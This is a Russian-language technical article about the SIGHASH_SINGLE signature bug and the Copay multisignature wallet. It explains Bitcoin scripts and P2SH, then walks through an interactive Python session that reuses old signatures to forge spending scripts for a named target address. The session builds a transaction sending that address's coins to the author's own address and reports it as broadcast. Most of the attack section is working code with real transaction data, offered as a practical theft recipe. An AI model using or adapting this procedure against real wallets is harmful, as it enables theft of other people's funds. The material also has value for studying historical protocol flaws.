В этой статье мы разберем атаку на мультиподписный кошелек “Copay”. Официальным разработчиком кошелька “Copay” является компания “BitPay”.
Угроза для пользователей возникла из-за использование типа подписи Биткоина SIGHASH_SINGLE( 0x03)
SIGHASH_SINGLE( 0x03)
– это тип подписи подписывает все входы и ровно один соответствующий выход транзакции монет Биткоина. Соответствующий вывод имеет тот же индекс, что и ваша подпись (т. е. если ваш ввод находится наvin 0
, то вывод, который вы хотите подписать, должен иметьvout 0
). По сути, это говорит: «Я согласен участвовать в этой передаче со всеми этими входами, пока это количество идет на этот один адрес».
Мы рассмотрим данную транзакцию: 791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf
Оказалось, что тип подписи SIGHASH_SINGLE( 0x03)
мог равномерно потратить выходные данные BTC
из неизрасходованных транзакций, не зная приватных ключей, которые обычно требуются для подписи транзакции Биткоина.
Чтобы понять как это работает выполним все операций воспользовавшись “Pycryptotools” библиотекой ECC
для Python
“Pycryptotools” изначально был создан Виталиком Бутерином https://github.com/vbuterin/pybitcointools
Из-за отсутствия поддержки для данной библиотеки был создан форк который до сих пор поддерживается:
https://github.com/primal100/pybitcointools.git
Погашение биткоин транзакции
Биткоин транзакция перемещает монеты BTC
между одним или несколькими входами и выходами. Каждый вход тратит монеты, оплаченные предыдущему выходу, и каждый выход ожидает как неизрасходованный выход транзакции, пока он не будет потрачен в качестве входа для более поздней транзакции.
Транзакции биткоинов фактически связаны друг с другом в форме цепочки, а транзакция и ее предшественник последовательно соединяются через вход транзакции. Предположим, что у USER#1
в кошельке 2-биткоиновый UTXO
, а затем USER#1
переводит 0,5 BTC
некому USER#2
, поэтому он генерирует транзакцию, подобную следующей:
UTXO
– это неизрасходованная транзакция Биткоина.
Вход транзакции T1
указывает на UTXO
транзакции T0
. UTXO
делится на две части, чтобы сформировать два новых UTXO: 0,5 BTC
принадлежит USER#2
, а оставшиеся 1,5 BTC
возвращаются в кошелек USER#1
в качестве изменения. Предположим, что USER#2
потребил 0,5 BTC
для себя после получения 0,1 BTC
. Цепочка транзакций выглядит следующим образом:
Следует отметить, что важным фактом является то, что для каждой вновь сгенерированной транзакции ввод транзакции должен указывать на вывод другой транзакции.
Биткоин транзакции связаны друг с другом в форме этой цепочки, и через транзакцию можно найти другую транзакцию, от которой они зависят.
Выход содержит сумму, которая была переведена в
scriptSig
, который при необходимо будет потрачен.
Входные данные ссылаются на выходные данные предыдущей транзакции TXID
– идентификатор транзакции (хэш данных транзакции) и выходной индекс и предоставляют scriptSig
, который удовлетворяет условиям выходного scriptSig
транзакции.
Биткоин адрес – это хэш публичного ключа пользователя. Чтобы отправить немного монет
BTC
этому пользователю, создается выход транзакции с оплатой по публичному ключу(P2PKH)
.scriptSig
выводаP2PKH
содержит инструкции, которые позволяют владельцу приватного ключа, соответствующего хешированному публичному ключу, тратить вывод. Такой скрипт выглядит следующим образом:
OP_DUP OP_HASH160 <PublicKeyHash> OP_EQUALVERIFY OP_CHECKSIG
Если "resulting stack"
имеет значение true
, значит транзакция действительна.
В этом примере наиболее распространенной формой считается транзакции с инструкцией:
OP_EQUALVERIFY и OP_CHECKSIG
Чтобы SIGHASH_SINGLE ATTACK
верифицировать
OP_EQUALVERIFY
и OP_CHECKSIG
должны быть завершены успешно.
OP_EQUALVERIFY
проверит, что публичный ключ, предоставленный в scriptSig
, соответствует ожидаемому хэшу в выходном сценарии, и OP_CHECKSIG
проверит подпись транзакции по публичному ключу.
Полное описание выполнения скрипта см. в руководстве разработчика Биткоина developer-guide#p2pkh-script-validation
P2SH Биткоин Адреса
P2SH (Pay-to-Script Hash)
эта кодировка и соответствующих Биткоин адресов, начинающихся с цифры «3»
, берет начало с весны 2012 года. Это ускорило возможность создавать кошельки с мультиподписью (чтобы отправить средства требуется подтверждение от нескольких владельцев ключей), снизилась комиссия за перевод для отправителя платежа.
Имея общее представление о Биткоин транзакциях разберем в деталях две неизрасходованные транзакции, связанные с целевым кошельком:
32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe
Запустим “Python IDLE Shell 3.10.4”
Запустим “Pybitcointools”
>>> target = '32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe'
>>> unspent(target)
[{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200}, {'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}]
# Get the outputs of each transaction
>>> deserialize(fetchtx('8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd'))['outs'][0]
{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}
>>> deserialize(fetchtx('bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786'))['outs'][0]
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}
( Все команды запуска на GitHub )
Декодирование выходного скрипта дает следующие коды операций:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUAL
Код выхода не похож на стандартный сценарий вывода P2PKH
, описанный выше. Для того, чтобы потратить эти выходные данные, нужно найти значение, которое при хешировании (с помощью SHA-256
, а затем RIPEMD-160
) соответствует 06612b7cb2027e80ec340f9e02ffe4a9a59ba762
. Однако оказывается, что на самом деле это другой тип транзакции, известный как pay-to-script-hash (P2SH)
.
Чтобы потратить вывод P2SH
, scriptSig
должен поместить в стек сериализация сценарий , известный как redeemScript
, который имеет хэш, совпадающий с хешем в выходном сценарии.
Если хэши совпадают, т. е. "OP_EQUAL"
инструкция в выходном скрипте вернула true
, то redeemScript
десериализуется (deserialize)
и оценивается. Транзакция действительна, если redeemScript
соответствует ожидаемому хешу и возвращает true
.
Давайте посмотрим на некоторые предыдущие транзакции с целевого адреса и посмотрим, что делает redeemScript
:
# Get an existing scriptSig
>>> deserialize(fetchtx('6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132'))['ins'][0]
{'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae', 'outpoint': {'index': 1, 'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'}, 'sequence': 4294967295}
# Confirm that the corresponding output script matches the one discovered above
>>> deserialize(fetchtx('ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'))['outs'][1]
{'value': 350000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}
( Все команды запуска на GitHub )
Расшифровывая скрипт, Sig
получает:
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae
Мы можем вручную проверить, соответствует ли окончательное значение, помещенное в стек, ожидаемому хешу в выходном скрипте:
>>> import hashlib
>>> data = "5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae".decode("hex")
>>> data = hashlib.sha256(data).digest()
>>> hashlib.new('ripemd160', data).hexdigest()
'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'
( Все команды запуска на GitHub )
Поэтому это redeemScript
. Его декодирование дает следующие инструкции:
2 023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
"OP_CHECKMULTISIG"
принимает ряд подписей и ряд публичных ключей. Каждая пара подписи и публичного ключа проверяется "OP_CHECKSIG"
на достоверность.
Для OP_CHECKMULTISIG
возврата true все подписи должны соответствовать одному из публичных ключей. В этом случае есть две подписи, которые предоставляются scriptSig
, и три публичных ключа, которые включены в redeemScript
. Инструкция OP_FALSE
в scriptSig
требуется из-за ошибки, которая означает OP_CHECKMULTISIG
удаление лишнего неиспользуемого значения из стека.
Таким образом, целевой адрес представляет собой кошелек с мультиподписью, который имеет три связанных открытых ключа. Для того, чтобы провести вывод, необходимы две действительные подписи в scriptSig
(вместе с redeemScript
).
Типы hash подписей
Биткоин поддерживает подписи транзакций, которые подтверждают только часть транзакции.
Существует три типа хэшей подписи:
SIGHASH_ALL: Все входы и выходы подписаны. Это тип хэша подписи по умолчанию.
SIGHASH_NONE: Все входы подписаны, но ни один из выходов не подписан.
SIGHASH_SINGLE: Подписываются только соответствующие вход и выход (выход с тем же порядковым номером, что и вход).
Тип хэша подписи определяется последним байтом подписи в scriptSig
. Транзакция 6102bfd4…
имеет три входа.
Вот концы двух подписей от каждого из scriptSig
:
OP_FALSE …5d2b03 …d94903
OP_FALSE …069803 …182503
OP_FALSE …7c2903 …10b803
Все подписи заканчиваются значением 0x03, которое идентифицирует их как подписи SIGHASH_SINGLE
: подпись охватывает только сам ввод и вывод с одинаковым порядковым номером. Но есть три входа и только два выхода; нет соответствующего выхода для входа с индексом два. Что происходит, когда дело доходит до создания подписи для этого ввода?
Оказывается, из-за бага, если выход с таким индексом не существует, то в качестве хэша транзакции будет возвращено целочисленное значение one
.
Впервые это было описано Питером Тоддом (Peter Todd)
Мы можем проверить это поведение в оболочке Python
:
>>> pubs = ['023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f0561196', '03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80', '03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df']
>>> sigs = [der_decode_sig('3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903'), der_decode_sig('304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803')]
>>> hash = '\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> ecdsa_raw_verify(hash, sigs[0], pubs[0])
True
>>> ecdsa_raw_verify(hash, sigs[1], pubs[1])
True
( Все команды запуска на GitHub )
Это означает, что должна быть возможность подделать действительный scriptSig
для другой транзакции, повторно используя эти подписи на входах, которые не имеют соответствующего выхода!
Кража монет BTC в новой транзакции:
Мы хотим создать транзакцию с одним выходом на Биткоин адрес, который мы контролируем. Для этого требуется один вход с Биткоин адреса, который мы контролируем, чтобы индекс ввода для двух входов от целевых транзакций был выше нуля. Вот команды, которые я выполнил для создания такой транзакции:
# My address
>>> addr
'1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3'
# Unspent transaction outputs (legitimately) under my control
>>> unspent(addr)
[{'output': '23e81960ba8bb95c33c2336c84c126e378e4d1123921f881da9247c25f524161:1', 'value': 300000}]
# Target address and unspent transaction outputs
>>> target = '32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe'
>>> unspent(target)
[{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200}, {'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}]
# The unspent outputs are the inputs to the new transaction
>>> ins = unspent(addr) + unspent(target)
# Amount to send in the transaction
# Sum of the three inputs minus a fee for the block miner
>>> amount = 300000 + 5000000 + 677200
>>> amount -= 10000
# Single output to my address
>>> outs = [{'address': addr, 'value': value}]
# Create a new transaction from these inputs and outputs
>>> tx = mktx(ins, outs)
# Sign the first input with my private key
>>> tx = sign(tx, 0, priv)
>>> tx = deserialize(tx)
# Add the scriptSigs containing SIGHASH_SINGLE signatures of 1
>>> tx['ins'][1]['script'] = '00483045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c290347304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b8034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae'
>>> tx['ins'][2]['script'] = '00483045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c290347304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b8034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae'
>>> serialize(tx)
'01000000036141525fc24792da81f8213912d1e478e326c18...'
( Все команды запуска на GitHub )
Транзакция отправлена в сеть: 791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf
Все монеты BTC ушли в чужой Биткоин Кошелек!